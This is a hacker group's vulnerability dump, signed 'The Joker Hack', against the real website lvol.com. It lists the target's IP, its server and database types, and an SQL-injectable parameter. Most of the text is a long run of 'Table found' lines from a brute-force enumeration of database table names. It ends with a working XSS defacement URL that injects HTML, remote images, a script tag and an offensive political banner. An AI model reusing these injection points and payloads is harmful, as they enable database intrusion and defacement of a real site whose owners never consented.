lvol.com -SQL-XSS

###########################################################################################
#               :     : o   :             #
#           _..-:   0 :     :-.._    /    #title:Las Vegas LV>
#     .'   "   '  "  .    "  . '  "  `.   #*Informaticos
#    :   '.---.,,.,...,.,.,.,..---.  ' ;  #*2013-2018
#    `. " `.                     .' " .'  #*Grupo: The Joker Hack
#     `.  '`.   .-/|||||||\-.   .' ' .'   #*Red Social:https://www.facebook.com/TheJokerTeamHack
#      `.    `-._   \|||/   _.-' "  .'    #
#        `. "    '"--...--"'  . ' .'      #Created by: Yei zeta
#       .'`-._'    " .     " _.-'`.       #
#      .'      ```--.....--'''    ' `:    #Info: the joker hack se hace responsable de la información.
###########################################################################################
Target: 		http://www.lvol.com/ SQL:bios/fulllist.php?star=-1
                                             XSS=bios/fulllist.php?star=<h1>alert</h1>
Host IP:		209.68.10.32
Web Server: 	Apache/2.2.24
DB Server: 	MySQL time based
Resp. Time(avg):	373 ms
###########################################################################################
Table found: user
Table found: username
Table found: usernames
Table found: admin
Table found: admins
Table found: users
Table found: manager
Table found: account
Table found: accounts
Table found: member
Table found: login
Table found: logins
Table found: members
Table found: tbl_user
Table found: tbl_users
Table found: tbl_admin
Table found: tbl_admins
Table found: tbl_member
Table found: tbl_members
Table found: tbladmins
Table found: memberlist
Table found: tbluser
Table found: tblusers
Table found: tblmanager
Table found: tblmanagers
Table found: tblclients
Table found: tblservers
Table found: adminuser
Table found: usertbl
Table found: userstbl
Table found: admintbl
Table found: adminstbl
Table found: id
Table found: tuser
Table found: tusers
Table found: uid
Table found: userid
Table found: user_id
Table found: auid
Table found: adminpass
Table found: LoginID
Table found: FirstName
Table found: LastName
Table found: cms_user
Table found: cms_member
Table found: cms_users
Table found: cms_members
Table found: cms_admin
Table found: cms_admins
Table found: user_admin
Table found: user_info
Table found: user_list
Table found: user_login
Table found: user_logins
Table found: user_names
Table found: userrights
Table found: userinfo
Table found: userlist
Table found: webadmin
Table found: webadmins
Table found: Webmaster
Table found: Webuser
Table found: product
Table found: products
Table found: tblproducts
Table found: tblproduct
Table found: tbl_tbadmin
Table found: Adminlogin
Table found: useraccount
Table found: nguoidung
Table found: quanly
Table found: quantri
Table found: dangnhap
Table found: taikhoan
Table found: taikhoanquantri
Table found: useraccounts
Table found: nguoidungs
Table found: tbuser
Table found: tblogin
Table found: tbadmin
Table found: tbaccount
Table found: tbuseraccount
Table found: tbnguoidung
Table found: tbllogin
Table found: tbladmin
Table found: tblaccount
Table found: tbluseraccount
Table found: tblnguoidung
Table found: tbusers
Table found: tblogins
Table found: tbadmins
Table found: tbaccounts
Table found: tbuseraccounts
Table found: tbnguoidungs
Table found: tbllogins
Table found: tblaccounts
Table found: tbluseraccounts
Table found: tblnguoidungs
Table found: tb_account
Table found: tb_useraccount
Table found: tb_nguoidung
Table found: tbl_login
Table found: tbl_account
Table found: tbl_useraccount
Table found: tbl_nguoidung
Table found: tb_logins
Table found: tb_accounts
Table found: tb_useraccounts
Table found: tb_nguoidungs
Table found: tbl_logins
Table found: tbl_accounts
Table found: tbl_useraccounts
Table found: tbl_nguoidungs
Table found: tb_admin
Table found: tb_administrator
Table found: tb_admins
Table found: tb_login
Table found: tb_member
Table found: tb_members
Table found: tb_user
Table found: tb_username
Table found: tb_usernames
Table found: tb_users
Table found: login_admin
Table found: login_admins
Table found: login_user
Table found: login_users
Table found: lost_pass
Table found: lost_passwords
Table found: lostpass
Table found: lostpasswords
Table found: password
Table found: pwd
Table found: pwds
Table found: a_admin
Table found: hsa_user
Table found: adm
Table found: modir
Table found: modiriat
Table found: karbar
Table found: karbaran
Table found: admin_user
Table found: admin_userinfo
Table found: administrator
Table found: adminid
Table found: admin_id
Table found: adminuserid
Table found: admin_userid
Table found: AdminUID
Table found: adminusername
Table found: admin_username
Table found: adminname
Table found: admin_name
Table found: usr
Table found: usr_n
Table found: usrname
Table found: usr_name
Table found: usrnam
Table found: name
Table found: student
Table found: students
Table found: user_name
Table found: useradmin
Table found: apwd
Table found: adminpaw
Table found: adminpwd
Table found: admin_pwd
Table found: admin_pass
Table found: adminpassword
Table found: admin_password
Table found: usrpass
Table found: usr_pass
Table found: pass
Table found: userpass
Table found: user_pass
Table found: dbaccount
Table found: dbstudent
Table found: dbstudents
Table found: dbadmin
Table found: useres
Table found: dbuser
Table found: dbusers
Table found: person
Table found: personal
Table found: affiliateUsers
Table found: dbpersoon
Table found: list
Table found: lists
Table found: dblist
Table found: userpassword
Table found: user_password
Table found: sort
Table found: userpwd
Table found: user_pwd
Table found: SecurityLevel
Table found: LastLoginDate
Table found: LoginIP
Table found: pword
Table found: _wfspro_admin
Table found: 4images_users
Table found: ad
Table found: Konto
Table found: Konten
Table found: admin_login
Table found: admin_psw
Table found: administer
Table found: administrable
Table found: administrate
Table found: administration
Table found: administrators
Table found: verwalten
Table found: verwaltet
Table found: administrieren
Table found: Verwaltung
Table found: Administratoren
Table found: adminrights
Table found: adminpsw
Table found: adminupass
Table found: Kunst
Table found: articles
Table found: Artikel
Table found: aut
Table found: author
Table found: autore
Table found: backend
Table found: Autor
Table found: backend_users
Table found: backenduser
Table found: article
Table found: Buch
Table found: chat_config
Table found: chat_messages
Table found: chat_users
Table found: client
Table found: chat
Table found: clients
Table found: Kunden
Table found: art
Table found: tblnews
Table found: superuser
Table found: sysadmin
Table found: sysadmins
Table found: sysuser
Table found: sysusers
Table found: x_admin
Table found: article_admin
Table found: bbs
Table found: book
Table found: clubconfig
Table found: company
Table found: usuario
Table found: config
Table found: banner
Table found: dbadmins
Table found: info
Table found: m_admin
Table found: manage
Table found: movie
Table found: movies
Table found: news
Table found: options
Table found: general
Table found: settings
Table found: setting
Table found: ACT_INFO
Table found: upload
Table found: uploads
Table found: file
Table found: files
Table found: akhbar
Table found: reguser
Table found: sb_host_admin
Table found: Firma
Table found: contact
Table found: contacts
Table found: content
Table found: contenu
Table found: control
Table found: Kontakt
Table found: Kontakte
Table found: Inhalt
Table found: Kontrolle
Table found: cpg_config
Table found: cpg132_users
Table found: controle
Table found: Country
Table found: customer
Table found: customers
Table found: Kunde
Table found: customers_basket
Table found: dealer
Table found: dealers
Table found: diary
Table found: download
Table found: Händler
Table found: Tagebuch
Table found: herunterladen
Table found: Dragon_users
Table found: e107.e107_user
Table found: e107_user
Table found: forum.ibf_members
Table found: fusion_user_groups
Table found: fusion_users
Table found: dw
Table found: Event
Table found: gl
Table found: glmm
Table found: gly
Table found: us
Table found: stnuser
Table found: stuser
Table found: stusers
Table found: stuseres
Table found: staff
Table found: dbstaff
Table found: db_staff
Table found: staff_db
Table found: db
Table found: database
Table found: databases
Table found: test_user
Table found: user_test
Table found: test_users
Table found: users_test
Table found: group
Table found: groups
Table found: Gruppe
Table found: Gruppen
Table found: ibf_admin_sessions
Table found: ibf_conf_settings
Table found: ibf_members
Table found: ibf_members_converge
Table found: ibf_sessions
Table found: icq
Table found: guanli
Table found: guanliyuan
Table found: h_admin
Table found: images
Table found: index
Table found: Bilder
Table found: ipb.ibf_members
Table found: ipb_sessions
Table found: joomla_users
Table found: jos_blastchatc_users
Table found: jos_comprofiler_members
Table found: jos_contact_details
Table found: jos_joomblog_users
Table found: jos_messages_cfg
Table found: jos_moschat_users
Table found: jos_users
Table found: knews_lostpass
Table found: korisnici
Table found: Mitgliederbereich
Table found: kpro_adminlogs
Table found: kpro_user
Table found: links
Table found: key
Table found: keywords
Table found: Anmeldung
Table found: logon
Table found: logs
Table found: Protokolle
Table found: main
Table found: hauptsächlich
Table found: mambo_session
Table found: mambo_users
Table found: mb_users
Table found: Mitglied
Table found: Mitgliederliste
Table found: Mitglieder
Table found: minibbtable_users
Table found: mima
Table found: mm
Table found: mpassword
Table found: musername
Table found: Film
Table found: Filme
Table found: mybb_users
Table found: mysql
Table found: mysql.user
Table found: names
Table found: nc
Table found: new
Table found: Namen
Table found: news_lostpass
Table found: newsletter
Table found: nuke_authors
Table found: nuke_bbconfig
Table found: nuke_config
Table found: nuke_popsettings
Table found: nuke_users
Table found: obb_profiles
Table found: order
Table found: orders
Table found: parol
Table found: partner
Table found: partners
Table found: passes
Table found: passwords
Table found: Auftrag
Table found: Bestellungen
Table found: Pässe
Table found: Passwort
Table found: Passwörter
Table found: perdorues
Table found: perdoruesit
Table found: phorum_session
Table found: phorum_user
Table found: phorum_users
Table found: phpads_clients
Table found: phpads_config
Table found: phpbb_users
Table found: phpBB2.forum_users
Table found: phpBB2.phpbb_users
Table found: phpmyadmin.pma_table_info
Table found: pma_table_info
Table found: poll_user
Table found: punbb_users
Table found: power
Table found: powers
Table found: psw
Table found: pswd
Table found: pw
Table found: pwd1
Table found: reg_user
Table found: reg_users
Table found: registered
Table found: jhu
Table found: webapps
Table found: ASP
Table found: ASP.NET
Table found: Microsoft
Table found: logging
Table found: log
Table found: sing
Table found: singup
Table found: singin
Table found: register
Table found: registeration
Table found: reg
Table found: registriert
Table found: regusers
Table found: root
Table found: roots
Table found: session
Table found: sessions
Table found: Tagung
Table found: Sitzungen
Table found: Einstellungen
Table found: shop.cards
Table found: shop.orders
Table found: site_login
Table found: site_logins
Table found: sitelogin
Table found: sitelogins
Table found: sites
Table found: Standorte
Table found: smallnuke_members
Table found: smf_members
Table found: SS_orders
Table found: statistics
Table found: Subjects
Table found: Statistiken
Table found: sys
Table found: system
Table found: sysconstraints
Table found: syssegments
Table found: Systemadministratoren
Table found: systime
Table found: table
Table found: tables
Table found: Tisch
Table found: Tabellen
Table found: tbl
Table found: tbl_clients
Table found: tbl_client
Table found: tblclient
Table found: tblConfigs
Table found: test
Table found: usebb_members
Table found: Titel
Table found: u
Table found: u_n
Table found: u_name
Table found: u_p
Table found: u_pass
Table found: Benutzer
Table found: usercontrol
Table found: user_pw
Table found: Benutzerliste
Table found: userlogins
Table found: userpasswd
Table found: usr_pw
Table found: usrs
Table found: Benutzername
Table found: Benutzernamen
Table found: vb_user
Table found: vbulletin_session
Table found: vbulletin_user
Table found: voodoo_members
Table found: vip
Table found: webmasters
Table found: webusers
Table found: Webbenutzer
Table found: xar_roles
Table found: xoops_bannerclient
Table found: xoops_users
Table found: yabb_settings
Table found: yabbse_settings
Table found: sb_host_adminActiveDataFeed
Table found: ActiveDataFeed
Table found: Category
Table found: Kategorie
Table found: CategoryGroup
Table found: ChicksPass
Table found: ClickTrack
Table found: Land
Table found: CountryCodes1
Table found: CustomNav
Table found: DataFeedPerformance1
Table found: DataFeedPerformance2
Table found: DataFeedPerformance2_incoming
Table found: DataFeedShowtag1
Table found: DataFeedShowtag2
Table found: DataFeedShowtag2_incoming
Table found: dtproperties
Table found: Event_backup
Table found: Event_Category
Table found: EventRedirect
Table found: Events_new
Table found: Genre
Table found: JamPass
Table found: MyTicketek
Table found: MyTicketekArchive
Table found: Passwords by usage count
Table found: Passwörter durch Nutzung zählen
Table found: PerfPassword
Table found: PerfPasswordAllSelected
Table found: Promotion
Table found: ProxyDataFeedPerformance
Table found: ProxyDataFeedShowtag
Table found: ProxyPriceInfo
Table found: Region
Table found: SearchOptions
Table found: Series
Table found: Suchoptionen
Table found: Serie
Table found: Sheldonshows
Table found: categoria
Table found: StateList
Table found: States
Table found: SubCategory
Table found: Survey
Table found: Staaten
Table found: UnterkKlasse
Table found: Anhand des Sachgebietes
Table found: Umfrage
Table found: SurveyAnswer
Table found: SurveyAnswerOpen
Table found: SurveyQuestion
Table found: SurveyRespondent
Table found: tblRestrictedPasswords
Table found: tblRestrictedShows
Table found: Ticket System Acc Numbers
Table found: TimeDiff
Table found: Titles
Table found: Ticket-System ACC-Nummern
Table found: ToPacmail1
Table found: ToPacmail2
Table found: Total Members
Table found: UserPreferences
Table found: uvw_Category
Table found: uvw_Pref
Table found: uvw_Preferences
Table found: Venue
Table found: venues
Table found: Veranstaltungsort
Table found: Veranstaltungsorte
Table found: VenuesNew
Table found: X_3945
Table found: stone list
Table found: Stein Liste
Table found: tblArtistCategory
Table found: tblArtists
Table found: tblLayouts
Table found: tblLogBookAuthor
Table found: tblLogBookEntry
Table found: tblLogBookImages
Table found: tblLogBookImport
Table found: tblLogBookUser
Table found: tblMails
Table found: tblNewCategory
Table found: tblOrders
Table found: tblStoneCategory
Table found: tblStones
Table found: tblWishList
Table found: VIEW1
Table found: Ansicht1
Table found: viewLogBookEntry
Table found: viewStoneArtist
Table found: vwListAllAvailable
Table found: CC_info
Table found: CC_username
Table found: utilisateur
Table found: trier
Table found: compte
Table found: comptes
Table found: administrer
Table found: administrables
Table found: administrateur
Table found: administrateurs
Table found: auteur
Table found: livre
Table found: entreprise
Table found: concessionnaire
Table found: concessionnaires
Table found: journal
Table found: telecharger
Table found: groupe
Table found: groupes
Table found: liens
Table found: connexion
Table found: principal
Table found: gestionnaire
Table found: membre
Table found: membres
Table found: films
Table found: nom
Table found: noms
Table found: ordre
Table found: commandes
###########################################################################################
XSS=bios/fulllist.php?star=<h1>alert</h1>

http://www.lvol.com/bios/fulllist.php?star=--%3E%22%3E'%3E'%22%22%3E%3Chtml%3E%3Chead%3E%3Ctitle%3EFUCK%20VENEZUELA%3C/title%3E%3C/head%3E%3Cbody+background=%22http://i702.photobucket.com/albums/ww24/mond1412/hacker.gif%22%3E%3Ch3+ALIGN%3D%22CENTER%22%3E%3Cfont+color%3D%22Blue%22%3EESTO%3C/font%3E%3Cfont+color%3D%22White%22%3E+ES%3C/font%3E%3Cfont+color%3D%22Red%22%3E+XSS%3C/font%3E%3Cmarquee+style%3D%22color:Blue%22%3Eby+@TheJoker%3C/marquee%3E%3Cmarquee+style%3D%22color:Red%22+direction%3D%22right%22%3EYeiZeta_post%3C/marquee%3E%3Cimg+src%3D%22https://fbcdn-sphotos-b-a.akamaihd.net/hphotos-ak-ash3/1004441_173471056157200_519864178_n.jpg%22%3E%3Cscript+language%3D'javascript'+type%3D'text/javascript'%3E//Cursor+con+texto+en+movimiento//%3C#slideshow/JB_USHER_BACK2BACK.jpg